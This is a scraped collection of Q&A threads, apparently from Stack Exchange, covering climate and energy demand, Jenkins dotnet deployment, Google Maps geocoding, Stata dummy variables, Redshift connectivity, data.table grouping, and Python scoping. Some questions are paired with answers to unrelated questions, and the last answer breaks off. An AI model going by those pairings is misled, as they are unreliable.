* and many, many other (I'm not going to link to all sources I could link to because the list of sources would be very long) |
8,374 | Nowadays, everyone talks about it: climate change, and more importantly, how to stop it from happening. Although there's a lot of debate around the topic, the consensus is that by inventing a way of generating clean energy, we can slow down (and maybe even reverse) the effects global warming has on the planet. Using energy that was created without burning millions of years worth of stored carbon, we can not only power our everyday lives, but also capture the carbon we've been blowing into our atmosphere using the energy-intensive process of carbon capture and sequestration (CCS).
But there are still some problems. Currently, photovoltaic cells are pretty much useless during winter when it comes to fueling the homes of millions (at least where I live). We want to warm our homes, but there's not enough clean energy during those months, so we fall back on nuclear.
**Wouldn't it therefore be better to have a small rise in global temperature?**
* A higher temperature means you don't have to warm your home during winter (as much).
* During summer, you can use the extra energy generated by the photovoltaic cells to power air conditioners in order to cool buildings and
* Use some excess energy to stop the [runaway greenhouse effect](https://en.wikipedia.org/wiki/Runaway_greenhouse_effect) using CCS.
Even though cooling requires more energy than heating, might it break even? **Will the rise in temperature have a positive effect on our energy production and the ability to satisfy energy demand?** | 2019/07/23 | [
"https://sustainability.stackexchange.com/questions/8374",
"https://sustainability.stackexchange.com",
"https://sustainability.stackexchange.com/users/6811/"
] | **tl;dr -- For the west coast of the U.S., a 20% decrease in heating demand and 18% increase in cooling demand results in a 5% reduction in carbon emissions from electricity and natural gas usage**
Here's the approach I came up with to try and answer this question with some hard data.
### 1. Find a region of the U.S. which had a cold winter and mild summer, followed by a mild winter and a hot summer.
This is the sort of change we'd expect to see with global warming. If we look at the data for consecutive years, we minimize the effects of changes to the grid and/or population.
The U.S. Energy Information Agency publishes [monthly regional data for heating and cooling degree days](https://www.eia.gov/outlooks/steo/data/browser/#/?v=28&f=A&s=0&start=1997&end=2018&id=&linechart=ZWHD_PAC~ZWCD_PAC&maptype=0&ctype=linechart&map=) as part of the short term energy outlook.
Looking at data for all regions, I determined that 2013 to 2014 for the Pacific region best meets the criteria. The area includes Alaska, Washington, Oregon, California, and Hawaii. This area stretches pretty far from north to south, so makes a decent sample that we could use to extrapolate. From 2013 to 2014 this region experienced:
* 20% **increase** in cooling degree days (= more energy needed for cooling)
* 17% **decrease** in heating degree days (= less energy needed for heating)
[](https://i.stack.imgur.com/UBhZu.png)
The [population](https://factfinder.census.gov/faces/tableservices/jsf/pages/productview.xhtml?src=bkmk) in this region grew by slightly more than 1% over that time period, so likely not a huge factor in any changes in energy usage:
```
2013 2014 % change
Alaska 735,132 736,732
California 38,332,521 38,802,500
Hawaii 1,404,054 1,419,561
Oregon 3,930,065 3,970,239
Washington 6,971,406 7,061,530
51,373,178 51,990,562 1.2%
```
### 2. Determine total usage of electricity and natural gas for heating over that time period
EIA provides [monthly natural gas consumption by state](https://www.eia.gov/dnav/ng/ng_cons_sum_dcu_nus_m.htm). This is broken down by end use, so I looked at residential and commercial uses, which would predominantly cover heating. I left out use by vehicles and industry. Some industry uses would include heating, but for all five states this usage was fairly consistent month-to-month, and less than either residential or commercial usage for most months.
EIA also provides [monthly generation by fuel source by state](https://www.eia.gov/electricity/data.php#generation) (scroll to "Generation" then "State-level generation and fuel consumption data" then "Monthly (back to 2001)") .
Here's a chart showing degree days (left axis) and energy for heating and electricity (right axis) using the above data sets:
[](https://i.stack.imgur.com/COQvJ.png)
### 3. Compare changes in heating, electric generation, and associated CO2 emissions
Here's a chart comparing 2013 and 2014 usage for the largest sources:
[](https://i.stack.imgur.com/Vyhnd.png)
And here's the data summarized in a table with emissions data and percent change calculated:
```
2013 2014 % change
Heating degree days 3,365 2,776 -18%
Cooling degree days 890 1,069 20%
Heating natural gas (MWh) 291,012,539 256,759,857 -12%
CO2 emissions (metric tons) 54,613,680 48,185,555
Coal generation (MWh) 26,701,933 25,562,047 -4%
CO2 emissions (metric tons) 27,235,971 26,073,288
Natural gas generation (MWh) 297,462,431 289,771,833 -3%
CO2 emissions (metric tons) 133,858,094 130,397,325
Hydroelectric generation (MWh) 273,042,255 263,321,494 -4%
Nuclear generation (MWh) 52,745,666 52,966,598 0%
Solar generation (MWh) 7,708,892 19,940,312 159%
Wind generation (MWh) 55,861,453 58,717,774 5%
Other generation (MWh) 68,296,211 67,585,528 -1%
Total electric (MWh) 781,818,840 777,865,587 -1%
Total CO2 (metric tons) 215,707,745 204,656,168 -5%
```
### Conclusion
This is a pretty limited (and possibly spurious) analysis, but it supports your hypothesis: **a warmer climate reduces energy needs in the winter by a greater factor than the summertime increase.**
The really interesting thing, especially in a U.S. context, is that a huge proportion of natural gas is used for heating in the winter. But in the summer, electricity from cooling comes from a more diverse set of sources. **So any reduction in heating demand necessarily reduces CO2 emissions, but as the grid adds more wind and solar, increases in cooling demand don't necessarily increase CO2 emissions.**
Some caveats to this:
* Much of the population of California is on the southern coast, where heating and cooling demand is already limited due to the mild climate
* None of this accounts for changes in population, economic activity, policy, or precipitation
* Electric usage is for all uses (not just heating/cooling) so doesn't account for any economic factors
* California added A LOT of solar, and some wind, during this time period, which contributed to the overall reduction in CO2 emissions from the electric sector | This question seems to have several components.
Firstly, in terms of PV energy production, a rise in temperature would most likely have a slightly negative effect due to decreased efficiency of solar cells at higher temperatures and perhaps an even greater decrease caused by an increase of cloud cover created by oceanic evaporation. On the other hand, an increase in temperature might cause an increase in rainfall, thereby improving the efficiency of hydroelectric power generation.
Secondly, global climate change in general has a wide variety of effects on regional, local, and micro climates, many of which are indirectly influenced by changes in temperature. The various consequences that might be considered "better" are infrequently examined, and I think it is because climate change enthusiasts would be tarred and feathered more adamantly than climate change deniers.
Next, a rise in temperature might be warmly welcomed by those living in colder climates, but there are many other methods to approach our heating/cooling power requirements which are better addressed through other means. For instance, building subterranean or partially underground homes has a huge impact on indoor climate for both Winter and Summer, in both hot and cold climates.
Personally, I've managed comfortably now for a year without any heating or cooling power use at all, but it took ten years to create a comfortable and sustainable micro-climate for myself, my plants, and my livestock. Your question inspires me to explore how I can now use my excess PV power for CCS because it's a shame to see that going to waste. |
8,374 | Nowadays, everyone talks about it: climate change, and more importantly, how to stop it from happening. Although there's a lot of debate around the topic, the consensus is that by inventing a way of generating clean energy, we can slow down (and maybe even reverse) the effects global warming has on the planet. Using energy that was created without burning millions of years worth of stored carbon, we can not only power our everyday lives, but also capture the carbon we've been blowing into our atmosphere using the energy-intensive process of carbon capture and sequestration (CCS).
But there are still some problems. Currently, photovoltaic cells are pretty much useless during winter when it comes to fueling the homes of millions (at least where I live). We want to warm our homes, but there's not enough clean energy during those months, so we fall back on nuclear.
**Wouldn't it therefore be better to have a small rise in global temperature?**
* A higher temperature means you don't have to warm your home during winter (as much).
* During summer, you can use the extra energy generated by the photovoltaic cells to power air conditioners in order to cool buildings and
* Use some excess energy to stop the [runaway greenhouse effect](https://en.wikipedia.org/wiki/Runaway_greenhouse_effect) using CCS.
Even though cooling requires more energy than heating, might it break even? **Will the rise in temperature have a positive effect on our energy production and the ability to satisfy energy demand?** | 2019/07/23 | [
"https://sustainability.stackexchange.com/questions/8374",
"https://sustainability.stackexchange.com",
"https://sustainability.stackexchange.com/users/6811/"
] | >
> Wouldn't it therefore be better to have a small rise in global temperature?
>
**No.** The radiative forcing by carbon dioxide does not increase solar radiation that can be captured by solar cells. The warmer temperatures actually **decrease** solar cell output, because solar cells really like cold temperatures and lots of radiation. You can't have both optimal temperature and optimal radiation at the same time, because solar radiation causes the temperature to increase.
If we could somehow manage radiative forcing, to reduce worldwide temperatures, we could make more power with solar cells.
**Edit:** Nice to have unexplained downvotes after an upvote. So, let me add some sources:
* <https://www.civicsolar.com/article/how-does-heat-affect-solar-panel-efficiencies>
* <https://greentumble.com/effect-of-temperature-on-solar-panel-efficiency/>
* <https://www.sciencedirect.com/science/article/pii/S1876610213000829>
* and many, many other (I'm not going to link to all sources I could link to because the list of sources would be very long) | The US isn't the only land mass in the world you know. In much of Africa people and animals are dying in the heat. And on a global scale the man made energy requirements are rising exponentially because of global warming. In Britain for instance people are busy installing air conditioning which they never needed before. If you even looked at the extra air conditioning installed in the US you would probably find it outweighs all this estimated saving. Scientists are also working on superconductors which save quite a bit of energy, but necessitate very cold temperatures which will become increasingly difficult to maintain. |
8,374 | Nowadays, everyone talks about it: climate change, and more importantly, how to stop it from happening. Although there's a lot of debate around the topic, the consensus is that by inventing a way of generating clean energy, we can slow down (and maybe even reverse) the effects global warming has on the planet. Using energy that was created without burning millions of years worth of stored carbon, we can not only power our everyday lives, but also capture the carbon we've been blowing into our atmosphere using the energy-intensive process of carbon capture and sequestration (CCS).
But there are still some problems. Currently, photovoltaic cells are pretty much useless during winter when it comes to fueling the homes of millions (at least where I live). We want to warm our homes, but there's not enough clean energy during those months, so we fall back on nuclear.
**Wouldn't it therefore be better to have a small rise in global temperature?**
* A higher temperature means you don't have to warm your home during winter (as much).
* During summer, you can use the extra energy generated by the photovoltaic cells to power air conditioners in order to cool buildings and
* Use some excess energy to stop the [runaway greenhouse effect](https://en.wikipedia.org/wiki/Runaway_greenhouse_effect) using CCS.
Even though cooling requires more energy than heating, might it break even? **Will the rise in temperature have a positive effect on our energy production and the ability to satisfy energy demand?** | 2019/07/23 | [
"https://sustainability.stackexchange.com/questions/8374",
"https://sustainability.stackexchange.com",
"https://sustainability.stackexchange.com/users/6811/"
] | >
> Wouldn't it therefore be better to have a small rise in global temperature?
>
**No.** The radiative forcing by carbon dioxide does not increase solar radiation that can be captured by solar cells. The warmer temperatures actually **decrease** solar cell output, because solar cells really like cold temperatures and lots of radiation. You can't have both optimal temperature and optimal radiation at the same time, because solar radiation causes the temperature to increase.
If we could somehow manage radiative forcing, to reduce worldwide temperatures, we could make more power with solar cells.
**Edit:** Nice to have unexplained downvotes after an upvote. So, let me add some sources:
* <https://www.civicsolar.com/article/how-does-heat-affect-solar-panel-efficiencies>
* <https://greentumble.com/effect-of-temperature-on-solar-panel-efficiency/>
* <https://www.sciencedirect.com/science/article/pii/S1876610213000829>
* and many, many other (I'm not going to link to all sources I could link to because the list of sources would be very long) | This question seems to have several components.
Firstly, in terms of PV energy production, a rise in temperature would most likely have a slightly negative effect due to decreased efficiency of solar cells at higher temperatures and perhaps an even greater decrease caused by an increase of cloud cover created by oceanic evaporation. On the other hand, an increase in temperature might cause an increase in rainfall, thereby improving the efficiency of hydroelectric power generation.
Secondly, global climate change in general has a wide variety of effects on regional, local, and micro climates, many of which are indirectly influenced by changes in temperature. The various consequences that might be considered "better" are infrequently examined, and I think it is because climate change enthusiasts would be tarred and feathered more adamantly than climate change deniers.
Next, a rise in temperature might be warmly welcomed by those living in colder climates, but there are many other methods to approach our heating/cooling power requirements which are better addressed through other means. For instance, building subterranean or partially underground homes has a huge impact on indoor climate for both Winter and Summer, in both hot and cold climates.
Personally, I've managed comfortably now for a year without any heating or cooling power use at all, but it took ten years to create a comfortable and sustainable micro-climate for myself, my plants, and my livestock. Your question inspires me to explore how I can now use my excess PV power for CCS because it's a shame to see that going to waste. |
60,241,626 | I am new to CI/CD and trying to deploy a simple serverless function through Jenkins and getting error.
Here are my steps
1. Create a new project using dotnet new serverless.AspNetCoreWebAPI
2. Configured Git source {GitHub} where this project is located.
3. Added following lines in Build Step
`export PATH=$PATH:/usr/local/share/dotnet:/usr/local/bin
dotnet lambda deploy-serverless`
After running the above command I get the error
>
> /usr/local/share/dotnet/dotnet lambda deploy-serverless Could not execute because the specified command or file was not found. Possible reasons for this include:
>
> You misspelled a built-in dotnet command.
>
> You intended to execute a .NET Core program, but dotnet-lambda does not exist.
>
> You intended to run a global tool, but a dotnet-prefixed executable with this name could not be found on the PATH.
>
> Build step 'Execute shell' marked build as failure Finished: FAILURE
>
>
>
Needless to say I can successfully run dotnet lambda deploy-serverless if using terminal window.
Any idea what's wrong here? | 2020/02/15 | [
"https://Stackoverflow.com/questions/60241626",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10949523/"
] | Install first below command in CMD
>
> dotnet tool install -g Amazon.Lambda.Tools
>
>
>
Then you can find dotnet command in cmd. | Solved the issue finally.
>
> Compared the .csproj files one for successful lambda deployment and one where it was failing. Noticed that following lines were the difference. It worked as soon as I added the below in my project file.
>
>
>
```
<ItemGroup><DotNetCliToolReference Include="Amazon.Lambda.Tools" Version="2.2.0" /></ItemGroup>
```
It will be still interesting to know that why dotnet lambda deploy-serverless works from terminal window for the same project without the above line but not from inside jenkins job. |
33,261,824 | google map api is loaded asynchroneously
```
jQuery(function($) {
// Asynchronously Load the map API
var script = document.createElement('script');
script.src = "http://maps.googleapis.com/maps/api/js?sensor=false&callback=initialize";
document.body.appendChild(script);
});
```
i then do
```
function initialize() {
var map;
var bounds = new google.maps.LatLngBounds();
var mapOptions = {
mapTypeId: 'roadmap'
};
// Display a map on the page
map = new google.maps.Map(document.getElementById("map_canvas"), mapOptions);
map.setTilt(45);
var address ="Marseille";
var geocoder;
geocoder = new google.maps.Geocoder();
var markers;
markers= geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
var titlelatlong=[address,results[0].geometry.location.lat(),results[0].geometry.location.lng()];
console.log(titlelatlong);
return titlelatlong;
}
});
console.log(markers);
```
why
```
console.log(titlelatlong)
```
output is what i want and
```
console.log(markers)
```
is undefined ?
how can i fix this ? | 2015/10/21 | [
"https://Stackoverflow.com/questions/33261824",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1412620/"
] | Note that all your dummies would be created as 1 or missing. It is almost always more useful to create them directly as 1 or 0. Indeed, that is the usual **definition** of dummies.
In general, it's a loop over the possibilities using `forvalues` or `foreach`, but the shortcut is too easy not to be preferred in this case. Consider this reproducible example:
```
. sysuse auto, clear
(1978 Automobile Data)
. tab rep78, gen(rep78)
Repair |
Record 1978 | Freq. Percent Cum.
------------+-----------------------------------
1 | 2 2.90 2.90
2 | 8 11.59 14.49
3 | 30 43.48 57.97
4 | 18 26.09 84.06
5 | 11 15.94 100.00
------------+-----------------------------------
Total | 69 100.00
. d rep78?
storage display value
variable name type format label variable label
------------------------------------------------------------------------------
rep781 byte %8.0g rep78== 1.0000
rep782 byte %8.0g rep78== 2.0000
rep783 byte %8.0g rep78== 3.0000
rep784 byte %8.0g rep78== 4.0000
rep785 byte %8.0g rep78== 5.0000
```
That's all the dummies (some prefer to say "indicators") in one fell swoop through an option of `tabulate`.
For completeness, consider an example doing it the loop way. We imagine that years 1950-2015 are represented:
```
forval y = 1950/2015 {
gen byte dummy`y' = year == `y'
}
```
Two digit identifiers `dummy50` to `dummy15` would be unambiguous in this example, so here they are as a bonus:
```
forval y = 1950/2015 {
local Y : di %02.0f mod(`y', 100)
gen byte dummy`y' = year == `y'
}
```
Here `byte` is dispensable unless memory is very short, but it's good practice any way.
If anyone was determined to write a loop to create indicators for the distinct values of a string variable, that can be done too. Here are two possibilities. Absent an easily reproducible example in the original post, let's create a sandbox. The first method is to `encode` first, then loop over distinct numeric values. The second method is find the distinct string values directly and then loop over them.
```
clear
set obs 3
gen mystring = word("frog toad newt", _n)
* Method 1
encode mystring, gen(mynumber)
su mynumber, meanonly
forval j = 1/`r(max)' {
gen dummy`j' = mynumber == `j'
label var dummy`j' "mystring == `: label (mynumber) `j''"
}
* Method 2
levelsof mystring
local j = 1
foreach level in `r(levels)' {
gen dummy2`j' = mystring == `"`level'"'
label var dummy2`j' `"mystring == `level'"'
local ++j
}
describe
Contains data
obs: 3
vars: 8
size: 96
------------------------------------------------------------------------------
storage display value
variable name type format label variable label
------------------------------------------------------------------------------
mystring str4 %9s
mynumber long %8.0g mynumber
dummy1 float %9.0g mystring == frog
dummy2 float %9.0g mystring == newt
dummy3 float %9.0g mystring == toad
dummy21 float %9.0g mystring == frog
dummy22 float %9.0g mystring == newt
dummy23 float %9.0g mystring == toad
------------------------------------------------------------------------------
Sorted by:
``` | Use `i.<dummy_variable_name>`
For example, in your case, you can use following command for regression:
```
reg y i.year
``` |
33,261,824 | google map api is loaded asynchroneously
```
jQuery(function($) {
// Asynchronously Load the map API
var script = document.createElement('script');
script.src = "http://maps.googleapis.com/maps/api/js?sensor=false&callback=initialize";
document.body.appendChild(script);
});
```
i then do
```
function initialize() {
var map;
var bounds = new google.maps.LatLngBounds();
var mapOptions = {
mapTypeId: 'roadmap'
};
// Display a map on the page
map = new google.maps.Map(document.getElementById("map_canvas"), mapOptions);
map.setTilt(45);
var address ="Marseille";
var geocoder;
geocoder = new google.maps.Geocoder();
var markers;
markers= geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
var titlelatlong=[address,results[0].geometry.location.lat(),results[0].geometry.location.lng()];
console.log(titlelatlong);
return titlelatlong;
}
});
console.log(markers);
```
why
```
console.log(titlelatlong)
```
output is what i want and
```
console.log(markers)
```
is undefined ?
how can i fix this ? | 2015/10/21 | [
"https://Stackoverflow.com/questions/33261824",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1412620/"
] | Note that all your dummies would be created as 1 or missing. It is almost always more useful to create them directly as 1 or 0. Indeed, that is the usual **definition** of dummies.
In general, it's a loop over the possibilities using `forvalues` or `foreach`, but the shortcut is too easy not to be preferred in this case. Consider this reproducible example:
```
. sysuse auto, clear
(1978 Automobile Data)
. tab rep78, gen(rep78)
Repair |
Record 1978 | Freq. Percent Cum.
------------+-----------------------------------
1 | 2 2.90 2.90
2 | 8 11.59 14.49
3 | 30 43.48 57.97
4 | 18 26.09 84.06
5 | 11 15.94 100.00
------------+-----------------------------------
Total | 69 100.00
. d rep78?
storage display value
variable name type format label variable label
------------------------------------------------------------------------------
rep781 byte %8.0g rep78== 1.0000
rep782 byte %8.0g rep78== 2.0000
rep783 byte %8.0g rep78== 3.0000
rep784 byte %8.0g rep78== 4.0000
rep785 byte %8.0g rep78== 5.0000
```
That's all the dummies (some prefer to say "indicators") in one fell swoop through an option of `tabulate`.
For completeness, consider an example doing it the loop way. We imagine that years 1950-2015 are represented:
```
forval y = 1950/2015 {
gen byte dummy`y' = year == `y'
}
```
Two digit identifiers `dummy50` to `dummy15` would be unambiguous in this example, so here they are as a bonus:
```
forval y = 1950/2015 {
local Y : di %02.0f mod(`y', 100)
gen byte dummy`y' = year == `y'
}
```
Here `byte` is dispensable unless memory is very short, but it's good practice any way.
If anyone was determined to write a loop to create indicators for the distinct values of a string variable, that can be done too. Here are two possibilities. Absent an easily reproducible example in the original post, let's create a sandbox. The first method is to `encode` first, then loop over distinct numeric values. The second method is find the distinct string values directly and then loop over them.
```
clear
set obs 3
gen mystring = word("frog toad newt", _n)
* Method 1
encode mystring, gen(mynumber)
su mynumber, meanonly
forval j = 1/`r(max)' {
gen dummy`j' = mynumber == `j'
label var dummy`j' "mystring == `: label (mynumber) `j''"
}
* Method 2
levelsof mystring
local j = 1
foreach level in `r(levels)' {
gen dummy2`j' = mystring == `"`level'"'
label var dummy2`j' `"mystring == `level'"'
local ++j
}
describe
Contains data
obs: 3
vars: 8
size: 96
------------------------------------------------------------------------------
storage display value
variable name type format label variable label
------------------------------------------------------------------------------
mystring str4 %9s
mynumber long %8.0g mynumber
dummy1 float %9.0g mystring == frog
dummy2 float %9.0g mystring == newt
dummy3 float %9.0g mystring == toad
dummy21 float %9.0g mystring == frog
dummy22 float %9.0g mystring == newt
dummy23 float %9.0g mystring == toad
------------------------------------------------------------------------------
Sorted by:
``` | I also recommend using
```
egen year_dum = group(year)
reg y i.year_dum
```
This can be generalized arbitrarily, and you can easily create, e.g., year-by-state fixed effects this way:
```
egen year_state_dum = group(year state)
reg y i.year_state_dum
``` |
74,639,356 | I get a timeout when trying to connect to my newly set up amazon redshift database.
I tried telnet:
```
telnet redshift-cluster-1.foobar.us-east-1.redshift.amazonaws.com 5439
```
With the same result.
I set the database configuration to "Publicly accessible".
Note that I am just experimenting. I have set up aws services for fun before, but don't have much knowledge of the network and security setup. So I expect it to be a simple mistake I make.
I want to keep it simple, so my goal is just to connect to the database from a local SQL client and I don't care about anything else at this stage :)
It would be great if you could give me some pointers for me to understand what the problem could be and what I should try next.
[](https://i.stack.imgur.com/mkX7d.png) | 2022/12/01 | [
"https://Stackoverflow.com/questions/74639356",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2474025/"
] | I had to add a new inbound rule to the security group and set the source to "anywhere-ipv4" or "my ip". The default inbound rule has a source with the name of the security group itself, which might mean that it is only accessible from within the VPC. At least it is not accessible from the outside.
I set the protocol to tcp and type to redshift, which seemed like the sensible choice for my use case.
See the picture for a sample configuration.
[](https://i.stack.imgur.com/QXRq2.png) | Another option you can try is to connect to it through an API. To connect to this database using a Java client, you need these values:
```
private static final String database = "dev";
private static final String dbUser ="awsuser";
private static final String clusterId = "redshift-cluster-1";
```
I have never experienced an issue when using the [RedshiftDataClient](https://sdk.amazonaws.com/java/api/latest/software/amazon/awssdk/services/redshiftdata/RedshiftDataClient.html). |
63,485,869 | I want to group a `data.table` but use a different name for the grouping variable in the final output.
### Data
```r
library(data.table)
set.seed(1)
d <- data.table(grp = sample(4, 100, TRUE))
```
### Options
I can use chaining like this:
```r
d[, .(Frequency = .N), keyby = grp][
, .("My Fancy Group Name" = grp, Frequency)]
# My Fancy Group Name Frequency
# 1: 1 27
# 2: 2 31
# 3: 3 22
# 4: 4 20
```
or rename the column before:
```r
d[, c("My Fancy Group Name" = list(grp), .SD)][
, .(Frequency = .N), keyby = "My Fancy Group Name"]
# My Fancy Group Name Frequency
# 1: 1 27
# 2: 2 31
# 3: 3 22
# 4: 4 20
```
or define an alias for the grouping variable and remove the grouping variable afterwards:
```r
d[, .("My Fancy Group Name" = grp, Frequency = .N), keyby = grp][
, grp := NULL][]
# My Fancy Group Name Frequency
# 1: 1 27
# 2: 2 31
# 3: 3 22
# 4: 4 20
```
but all forms use a chain.
I can avoid the chaining by [the not recommended approach from here](https://stackoverflow.com/questions/47497386/remove-grouping-variable-for-data-table) (which is not only a hack, but very inefficient on top):
```
d[, .("My Fancy Group Name" = .SD[, .N, keyby = grp]$grp,
Frequency = .SD[, .N, keyby = grp]$N)]
# My Fancy Group Name Frequency
# 1: 1 27
# 2: 2 31
# 3: 3 22
# 4: 4 20
```
### Questions
Conceptually I would like to use something like this
```r
# d[, .(Frequency = .N), keyby = c("My Fancy Group Name" = grp)]
```
1. Is it possible to achieve the solution chain free not using the hack I showed?
2. Which option performs "best" in terms of memory/time if we have a huge `data.table`? | 2020/08/19 | [
"https://Stackoverflow.com/questions/63485869",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4125751/"
] | You can actually do similar to your attempt but use `list` instead of `c` :
```
library(data.table)
d[, .(Frequency = .N), keyby = list(`My Fancy Group Name` = grp)]
#Also works with quotes
#d[, .(Frequency = .N), keyby = list("My Fancy Group Name" = grp)]
# My Fancy Group Name Frequency
#1: 1 27
#2: 2 31
#3: 3 22
#4: 4 20
```
Shorter version :
```
d[, .(Frequency = .N), .("My Fancy Group Name" = grp)]
``` | Using `setnames()` should also be efficient:
```
setnames(d[, .N, keyby = grp], c("My Fancy Group Name", "Frequency"))
``` |
33,764,325 | I'm pretty new to Python programming, just started this year. I'm currently doing a project surrounding functions within python and i'm getting stuck. Heres what I have done so far but it gets stuck around the 3rd definition.
```
def userWeight():
weight = input("Enter your weight in pounds:")
def userHeight():
height = input("Enter your height in inches:")
def convertWeightFloat(weight):
return float(weight)
weight = float(weight)
def convertHeightFloat(hf):
return float(height)
def calculateBMI():
BMI = (5734 * weight_float) / (height_float**2.5)
return BMI
def displayBMI():
print("Your BMI is:",BMI)
def convertKG():
return weight_float * .453592
def convertM():
return height_float * .0254
def calculateBMImetric():
return 1.3 * weight_kg / height_meters**2.5
def displayMetricBMI():
print("Your BMI using Metric calculations is: ", BMImetric)
def main():
userWeight()
userHeight()
convertWeightFloat(weight)
convertHeightFloat()
calculateBMI()
displayBMI()
convertKG()
convertM()
calculateBMImetric()
displayMetricBMI()
main()
```
And here is the error message I get whenever I try to run it...
```
Enter your weight in pounds:155
Enter your height in inches:70
Traceback (most recent call last):
File "C:/Users/Julian/Desktop/Python Stuff/ghp17.py", line 45, in <module>
main()
File "C:/Users/Julian/Desktop/Python Stuff/ghp17.py", line 36, in main
convertWeightFloat(weight)
NameError: name 'weight' is not defined
```
Now I've probably tried several different things each of them giving me different errors.
Any help guys? | 2015/11/17 | [
"https://Stackoverflow.com/questions/33764325",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5573398/"
] | In your `main` function you're passing in `weight` but haven't defined it. You probably want to save the value from `userWeight`:
```
def userWeight():
weight = input("Enter your weight in pounds:")
return weight
def main():
weight = userWeight()
...
convertWeightFloat(weight)
```
You're also returning `weight` before you compute it:
```
def convertWeightFloat(weight):
return float(weight)
weight = float(weight)
```
Move the `return` statement after the calculation:
```
def convertWeightFloat(weight):
weight = float(weight)
return float(weight)
``` | in main() you call
convertWeightFloat(weight)
but there is no weight defined |
33,764,325 | I'm pretty new to Python programming, just started this year. I'm currently doing a project surrounding functions within python and i'm getting stuck. Heres what I have done so far but it gets stuck around the 3rd definition.
```
def userWeight():
weight = input("Enter your weight in pounds:")
def userHeight():
height = input("Enter your height in inches:")
def convertWeightFloat(weight):
return float(weight)
weight = float(weight)
def convertHeightFloat(hf):
return float(height)
def calculateBMI():
BMI = (5734 * weight_float) / (height_float**2.5)
return BMI
def displayBMI():
print("Your BMI is:",BMI)
def convertKG():
return weight_float * .453592
def convertM():
return height_float * .0254
def calculateBMImetric():
return 1.3 * weight_kg / height_meters**2.5
def displayMetricBMI():
print("Your BMI using Metric calculations is: ", BMImetric)
def main():
userWeight()
userHeight()
convertWeightFloat(weight)
convertHeightFloat()
calculateBMI()
displayBMI()
convertKG()
convertM()
calculateBMImetric()
displayMetricBMI()
main()
```
And here is the error message I get whenever I try to run it...
```
Enter your weight in pounds:155
Enter your height in inches:70
Traceback (most recent call last):
File "C:/Users/Julian/Desktop/Python Stuff/ghp17.py", line 45, in <module>
main()
File "C:/Users/Julian/Desktop/Python Stuff/ghp17.py", line 36, in main
convertWeightFloat(weight)
NameError: name 'weight' is not defined
```
Now I've probably tried several different things each of them giving me different errors.
Any help guys? | 2015/11/17 | [
"https://Stackoverflow.com/questions/33764325",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5573398/"
] | There are a few problems here.
At first, you call `convertWeightFloat(weight)` while `weight` has not been defined. That's because `weight` only exists within your function `userWeight` (it's called the scope of the function). If you want `weight` to be known in the main part of your program, you need to define it there.
```
weight = userWeight()
...
```
This only works if your function `userWeight` returns a value:
```
def userWeight():
weight = input("Enter your weight in pounds:")
return weight
```
Same problem with `height`.
Also, in the function `convertWeightFloat`, the return statement is the last thing that will be executed. After that line, the program exits the function, in such a way that the last line is never executed:
```
def convertWeightFloat(weight):
weight = float(weight)
return weight
```
Basically, every variable you use inside the functions should be provided to the function (most of the time as arguments). And all your functions should return the processed value. Here is a working version of your program:
```
def userWeight():
weight = input("Enter your weight in pounds:")
return weight
def userHeight():
height = input("Enter your height in inches:")
return height
def convertWeightFloat(weight):
return float(weight)
def convertHeightFloat(height):
return float(height)
def calculateBMI(weight_float, height_float):
BMI = (5734 * weight_float) / (height_float**2.5)
return BMI
def displayBMI(BMI):
print("Your BMI is:",BMI)
def convertKG(weight_float):
return weight_float * .453592
def convertM(height_float):
return height_float * .0254
def calculateBMImetric(weight_kg, height_meters):
return 1.3 * weight_kg / height_meters**2.5
def displayMetricBMI(BMImetric):
print("Your BMI using Metric calculations is: ", BMImetric)
def main():
weight = userWeight()
height = userHeight()
weight_float = convertWeightFloat(weight)
height_float = convertHeightFloat(height)
bmi = calculateBMI(weight_float, height_float)
displayBMI(bmi)
``` | In your `main` function you're passing in `weight` but haven't defined it. You probably want to save the value from `userWeight`:
```
def userWeight():
weight = input("Enter your weight in pounds:")
return weight
def main():
weight = userWeight()
...
convertWeightFloat(weight)
```
You're also returning `weight` before you compute it:
```
def convertWeightFloat(weight):
return float(weight)
weight = float(weight)
```
Move the `return` statement after the calculation:
```
def convertWeightFloat(weight):
weight = float(weight)
return float(weight)
``` |
33,764,325 | I'm pretty new to Python programming, just started this year. I'm currently doing a project surrounding functions within python and i'm getting stuck. Heres what I have done so far but it gets stuck around the 3rd definition.
```
def userWeight():
weight = input("Enter your weight in pounds:")
def userHeight():
height = input("Enter your height in inches:")
def convertWeightFloat(weight):
return float(weight)
weight = float(weight)
def convertHeightFloat(hf):
return float(height)
def calculateBMI():
BMI = (5734 * weight_float) / (height_float**2.5)
return BMI
def displayBMI():
print("Your BMI is:",BMI)
def convertKG():
return weight_float * .453592
def convertM():
return height_float * .0254
def calculateBMImetric():
return 1.3 * weight_kg / height_meters**2.5
def displayMetricBMI():
print("Your BMI using Metric calculations is: ", BMImetric)
def main():
userWeight()
userHeight()
convertWeightFloat(weight)
convertHeightFloat()
calculateBMI()
displayBMI()
convertKG()
convertM()
calculateBMImetric()
displayMetricBMI()
main()
```
And here is the error message I get whenever I try to run it...
```
Enter your weight in pounds:155
Enter your height in inches:70
Traceback (most recent call last):
File "C:/Users/Julian/Desktop/Python Stuff/ghp17.py", line 45, in <module>
main()
File "C:/Users/Julian/Desktop/Python Stuff/ghp17.py", line 36, in main
convertWeightFloat(weight)
NameError: name 'weight' is not defined
```
Now I've probably tried several different things each of them giving me different errors.
Any help guys? | 2015/11/17 | [
"https://Stackoverflow.com/questions/33764325",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5573398/"
] | There are a few problems here.
At first, you call `convertWeightFloat(weight)` while `weight` has not been defined. That's because `weight` only exists within your function `userWeight` (it's called the scope of the function). If you want `weight` to be known in the main part of your program, you need to define it there.
```
weight = userWeight()
...
```
This only works if your function `userWeight` returns a value:
```
def userWeight():
weight = input("Enter your weight in pounds:")
return weight
```
Same problem with `height`.
Also, in the function `convertWeightFloat`, the return statement is the last thing that will be executed. After that line, the program exits the function, in such a way that the last line is never executed:
```
def convertWeightFloat(weight):
